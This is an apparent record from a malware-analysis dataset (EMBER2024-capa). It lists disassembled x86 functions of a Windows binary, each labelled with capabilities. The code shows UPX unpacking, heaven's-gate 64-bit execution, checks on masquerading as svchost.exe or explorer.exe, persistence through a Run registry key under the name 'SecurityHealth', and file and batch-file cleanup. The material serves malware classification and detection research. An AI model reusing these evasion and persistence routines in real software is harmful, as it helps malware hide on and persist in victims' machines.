joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e0cd0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8a000]
push edi
jmp 0x4e0cea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4e0cf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0ce0
mov eax, 1
add ebx, ebx
jne 0x4e0d03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4e0d14
jne 0x4e0d33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0d33
dec eax
add ebx, ebx
jne 0x4e0d20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4e0cf8
add ebx, ebx
jne 0x4e0d2f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4e0d85
xor ecx, ecx
sub eax, 3
jb 0x4e0d4b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4e0dba
sar eax, 1
mov ebp, eax
jmp 0x4e0d56
add ebx, ebx
jne 0x4e0d56
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0d24
inc ecx
add ebx, ebx
jne 0x4e0d64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0d24
add ebx, ebx
jne 0x4e0d71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4e0d66
jne 0x4e0d82
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4e0d66
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4e0da4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4e0d96
jmp 0x4e0ce6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4e0da4
add edi, ecx
jmp 0x4e0ce6
pop esi
mov edi, esi
mov ecx, 0x3ed3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4e0dc2
cmp byte [edi], 0x11
jne 0x4e0dc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4e0dc7
lea edi, [esi + 0xd9000]
mov eax, dword [edi]
or eax, eax
je 0x4e0e3f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe77ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe7968]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4e0df4
mov ecx, edi
jns 0x4e0e23
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe796c]
or eax, eax
je 0x4e0e39
mov dword [ebx], eax
add ebx, 4
jmp 0x4e0e11
call dword [esi + 0xe797c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4e0e70
cmp al, 0xef
ja 0x4e0e63
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4e0e45
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4e0e52
mov ebp, dword [esi + 0xe7970]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4e0ea4
sub esp, 0xffffff80
jmp 0x427dcd
Function at 0x401c80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4814c0], 0
jne 0x401c9f
cmp dword [0x4814c4], 0
jne 0x401c9f
mov eax, 1
jmp 0x401d30
push 0
push 0
push 1
push 0
call dword [0x48949c]
mov dword [0x4879f8], eax
cmp dword [0x4879f8], 0
je 0x401d2e
push 0
push 0
push 1
push 0
call dword [0x48949c]
mov dword [0x4879fc], eax
cmp dword [0x4879fc], 0
je 0x401d17
push 0
push 0
push 0
push 0x401db0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4879f4], eax
cmp dword [0x4879f4], 0
je 0x401d01
mov eax, 1
jmp 0x401d30
mov eax, dword [0x4879fc]
push eax
call dword [0x489484]
mov dword [0x4879fc], 0
mov ecx, dword [0x4879f8]
push ecx
call dword [0x489484]
mov dword [0x4879f8], 0
xor eax, eax
pop ebp
ret
Function at 0x4031e0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push edi
cmp dword [0x48927c], 0
jne 0x4031f9
xor eax, eax
xor edx, edx
jmp 0x4033df
lea eax, [ebp + 0x14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 0x10], 0
jle 0x403228
mov ecx, dword [ebp + 0x10]
sub ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 0x1c]
add edx, 8
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax - 8]
mov dword [ebp - 0x50], ecx
mov edx, dword [eax - 4]
mov dword [ebp - 0x4c], edx
jmp 0x403236
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x34], ecx
cmp dword [ebp + 0x10], 0
jle 0x40326b
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp - 0x1c]
add eax, 8
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx - 8]
mov dword [ebp - 0x58], edx
mov eax, dword [ecx - 4]
mov dword [ebp - 0x54], eax
jmp 0x403279
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0xc], edx
cmp dword [ebp + 0x10], 0
jle 0x4032ae
mov eax, dword [ebp + 0x10]
sub eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 8
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx - 8]
mov dword [ebp - 0x60], eax
mov ecx, dword [edx - 4]
mov dword [ebp - 0x5c], ecx
jmp 0x4032bc
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x24], eax
cmp dword [ebp + 0x10], 0
jle 0x4032f1
mov ecx, dword [ebp + 0x10]
sub ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 0x1c]
add edx, 8
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax - 8]
mov dword [ebp - 0x68], ecx
mov edx, dword [eax - 4]
mov dword [ebp - 0x64], edx
jmp 0x4032ff
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
add edx, 8
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
sub eax, 8
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x10]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x48], 0
xor edx, edx
mov word [ebp - 0x44], dx
mov word [ebp - 0x44], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 0x48], esp
and esp, 0xfffffff0
push 0x33
call 0x403360
add dword [esp], 5
retf
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4092a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc30
xor eax, eax
mov word [ebp - 0x208], ax
push 0x206
push 0
lea ecx, [ebp - 0x206]
push ecx
call fcn.00422100
add esp, 0xc
push 0x104
lea edx, [ebp - 0x208]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409462
xor eax, eax
mov word [ebp - 0x410], ax
push 0x206
push 0
lea ecx, [ebp - 0x40e]
push ecx
call fcn.00422100
add esp, 0xc
push 0x104
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jbe 0x409462
xor eax, eax
mov word [ebp - 0x618], ax
push 0x206
push 0
lea ecx, [ebp - 0x616]
push ecx
call fcn.00422100
add esp, 0xc
push 0x104
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jbe 0x409462
xor eax, eax
mov word [ebp - 0x820], ax
push 0x206
push 0
lea ecx, [ebp - 0x81e]
push ecx
call fcn.00422100
add esp, 0xc
lea edx, [ebp - 0x410]
push edx
push 0x432028
push 0x104
lea eax, [ebp - 0x820]
push eax
call fcn.0042217a
add esp, 0x10
xor ecx, ecx
mov word [ebp - 0xc30], cx
push 0x206
push 0
lea edx, [ebp - 0xc2e]
push edx
call fcn.00422100
add esp, 0xc
lea eax, [ebp - 0x618]
push eax
push 0x432048
push 0x104
lea ecx, [ebp - 0xc30]
push ecx
call fcn.0042217a
add esp, 0x10
xor edx, edx
mov word [ebp - 0xa28], dx
push 0x206
push 0
lea eax, [ebp - 0xa26]
push eax
call fcn.00422100
add esp, 0xc
lea ecx, [ebp - 0x618]
push ecx
push 0x432068
push 0x104
lea edx, [ebp - 0xa28]
push edx
call fcn.0042217a
add esp, 0x10
lea eax, [ebp - 0x820]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [0x489828]
test eax, eax
je 0x40945b
lea edx, [ebp - 0xc30]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [0x489828]
test eax, eax
je 0x40945b
lea ecx, [ebp - 0xa28]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [0x489828]
test eax, eax
jne 0x409462
mov eax, 1
jmp 0x409464
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4095c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4096ab
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4096a1
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409697
push 0x7fff
mov eax, dword [ebp - 4]
push eax
push 0
call dword [0x4894a4]
test eax, eax
je 0x40968d
push 0x7fff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x40968d
mov edx, dword [ebp - 8]
push edx
push str._sexplorer.exe
push 0x7fff
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042217a
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40968d
mov eax, dword [ebp - 4]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 0xc]
push edx
call dword [0x489498]
mov eax, 1
jmp 0x4096ad
mov eax, dword [ebp - 0xc]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 4]
push edx
call dword [0x489498]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4096c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4097ab
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4097a1
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409797
push 0x7fff
mov eax, dword [ebp - 4]
push eax
push 0
call dword [0x4894a4]
test eax, eax
je 0x40978d
push 0x7fff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40978d
mov edx, dword [ebp - 8]
push edx
push str._s_svchost.exe
push 0x7fff
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042217a
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40978d
mov eax, dword [ebp - 4]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 0xc]
push edx
call dword [0x489498]
mov eax, 1
jmp 0x4097ad
mov eax, dword [ebp - 0xc]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 4]
push edx
call dword [0x489498]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4097c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4098ab
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4098a1
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409897
push 0x7fff
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40988d
push 0x7fff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40988d
mov edx, dword [ebp - 8]
push edx
push 0x4320cc
push 0x7fff
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042217a
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40988d
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x4098ad
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40d4e0
Capabilities:
Create directory
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov dword [ebp - 0x10], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040d830
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d6f9
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
je 0x40d52f
call dword [0x4894ec]
cmp eax, 0xb7
jne 0x40d6e9
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40d6e9
mov eax, dword [ebp + 8]
add eax, 0x270
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0x43293c
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40d6d9
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x220]
push edx
call fcn.0041b1b0
add esp, 8
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x40d6d9
mov dword [ebp - 0x22c], 0xffffffff
push 0
push 0x80
push 1
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x22c], eax
call dword [0x4894ec]
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x22c], 0xffffffff
jne 0x40d60f
cmp dword [ebp - 0x230], 0x50
jne 0x40d6c3
cmp dword [ebp - 0x230], 0x50
jne 0x40d61c
jmp 0x40d67b
push 0
lea ecx, [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x234]
cmp edx, dword [ebp - 0x224]
jne 0x40d6a3
mov eax, dword [ebp - 0x22c]
push eax
call dword [0x489484]
mov dword [ebp - 0x22c], 0xffffffff
cmp dword [ebp - 0x22c], 0xffffffff
je 0x40d67b
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [0x489484]
mov edx, dword [ebp - 0x228]
push edx
call dword [0x489498]
mov eax, dword [ebp - 0x14]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x489498]
mov eax, 1
jmp 0x40d6fb
cmp dword [ebp - 0x22c], 0xffffffff
je 0x40d6b9
mov edx, dword [ebp - 0x22c]
push edx
call dword [0x489484]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x228], 0
je 0x40d6d9
mov ecx, dword [ebp - 0x228]
push ecx
call dword [0x489498]
cmp dword [ebp - 0x14], 0
je 0x40d6e9
mov edx, dword [ebp - 0x14]
push edx
call dword [0x489498]
cmp dword [ebp - 0xc], 0
je 0x40d6f9
mov eax, dword [ebp - 0xc]
push eax
call dword [0x489498]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40d920
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4368f8
call dword [0x489840]
test eax, eax
jne 0x40da0f
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40da05
mov ecx, dword [ebp + 8]
add ecx, 0x5c42
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x432958
push 0x7fff
mov eax, dword [ebp - 8]
push eax
call dword [0x489830]
add esp, 0x14
test eax, eax
jle 0x40d9fb
call fcn.0040de10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d9fb
mov dword [ebp - 0x18], 0xc
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
je 0x40d9c6
call dword [0x4894ec]
cmp eax, 0xb7
jne 0x40d9eb
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 8]
push edx
call dword [0x489498]
mov eax, dword [ebp - 4]
push eax
call dword [0x48985c]
mov eax, 1
jmp 0x40da11
cmp dword [ebp - 0xc], 0
je 0x40d9fb
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 8]
push edx
call dword [0x489498]
mov eax, dword [ebp - 4]
push eax
call dword [0x48985c]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40ff70
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x47dd98
call fcn.0040d830
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41007e
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x410074
push str.4D4145C2_C41B_438B_8B10_3C4A78EDE959
push str.svchost.exe
mov ecx, dword [ebp - 8]
push ecx
push str._s_s__s
push 0x7fff
mov edx, dword [ebp - 0xc]
push edx
call dword [0x489830]
add esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [0x47fa48], 1
jne 0x410020
lea eax, [ebp - 0x10]
push eax
push 0x432b98
push SysReAllocString
call dword [0x48975c]
test eax, eax
jne 0x410020
mov ecx, dword [ebp - 0x14]
lea edx, [ecx + ecx + 2]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 1
push 0
push 0x4837b8
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x489758]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x489760]
cmp dword [0x47fa44], 1
jne 0x41006a
lea eax, [ebp - 0x10]
push eax
push 0x432c00
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x48975c]
test eax, eax
jne 0x41006a
mov ecx, dword [ebp - 0x14]
lea edx, [ecx + ecx + 2]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 1
push 0
push 0x483806
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x489758]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x489760]
mov eax, dword [ebp - 0xc]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x489498]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x410b70
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x47fa50], 1
jne 0x410cad
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x410bed
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0x4368e8
call dword [0x489840]
test eax, eax
jne 0x410be3
push str.FDE9C15D_C7DE_462F_9ADF_1C9121B208E8
mov ecx, dword [ebp - 0xc]
push ecx
push str._s_s.lnk
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042217a
add esp, 0x14
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x48985c]
mov edx, dword [ebp - 4]
push edx
call dword [0x489498]
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4368f8
call dword [0x489840]
test eax, eax
jne 0x410cad
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x410ca3
push str.D26544A0_5240_47A7_8612_14F41EDC613B
mov ecx, dword [ebp - 8]
push ecx
push 0x432d7c
push 0x7fff
mov edx, dword [ebp - 0x10]
push edx
call fcn.0042217a
add esp, 0x14
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x410c99
push str.EED38ED0_841F_42A1_BC47_60873B71A803
push str.D26544A0_5240_47A7_8612_14F41EDC613B
mov eax, dword [ebp - 8]
push eax
push str._s_s_s.BAT
push 0x7fff
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0042217a
add esp, 0x18
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x489498]
mov eax, dword [ebp - 8]
push eax
call dword [0x48985c]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x415460
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
push str.UNLOAD.TXT
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x4154d1
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x489348], eax
cmp dword [0x489348], 0
je 0x4154d1
push 0
push 0
push 0
push 0x409470
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x48934c], eax
cmp dword [0x48934c], 0
je 0x4154bb
jmp 0x4154d1
mov eax, dword [0x489348]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x489348], 0
cmp dword [0x47fa58], 1
jne 0x41559f
call fcn.0041afe0
cmp eax, 1
jne 0x41559f
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x194]
push ecx
push 0x47dd98
call fcn.0040d830
add esp, 8
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x41559f
xor edx, edx
mov word [ebp - 0x3a0], dx
push 0x206
push 0
lea eax, [ebp - 0x39e]
push eax
call fcn.00422100
add esp, 0xc
push str.svchost.exe
mov ecx, dword [ebp - 0x198]
push ecx
push str.__s_s_
push 0x104
lea edx, [ebp - 0x3a0]
push edx
call fcn.0042217a
add esp, 0x14
mov eax, dword [0x47fafc]
push eax
mov ecx, dword [0x47faf8]
push ecx
push str.SecurityHealth
push 0x47fa5c
push str.4D4145C2_C41B_438B_8B10_3C4A78EDE959
lea edx, [ebp - 0x3a0]
push edx
call fcn.004080c0
add esp, 0x18
mov eax, dword [ebp - 0x198]
push eax
call dword [0x489498]
cmp dword [0x47fa4c], 0
jne 0x4155ad
call fcn.0040ff70
cmp dword [0x47fa50], 1
jne 0x4155bb
call fcn.0040fce0
cmp dword [0x47fa4c], 1
jne 0x4155c9
call fcn.004198a0
push 0x15
call fcn.00406760
add esp, 4
cmp dword [0x47e388], 1
jne 0x41562a
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x489358], eax
cmp dword [0x489358], 0
je 0x41562a
push 0
push 0
push 0
push 0x40cb10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x48935c], eax
cmp dword [0x48935c], 0
je 0x41561d
jmp 0x41562a
mov ecx, dword [0x489358]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x190]
push edx
push 2
call dword [0x4898fc]
test eax, eax
jne 0x415690
cmp dword [0x4865c4], 1
jne 0x415660
push 0
push 0
push 0
push 0x41a290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x489aa0], eax
push 0
push 0
push 0
push 0x41fc60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x489d5c], eax
cmp dword [0x489d5c], 0
je 0x41568a
mov eax, 1
jmp 0x415695
call dword [0x489900]
mov eax, 1
mov esp, ebp
pop ebp
ret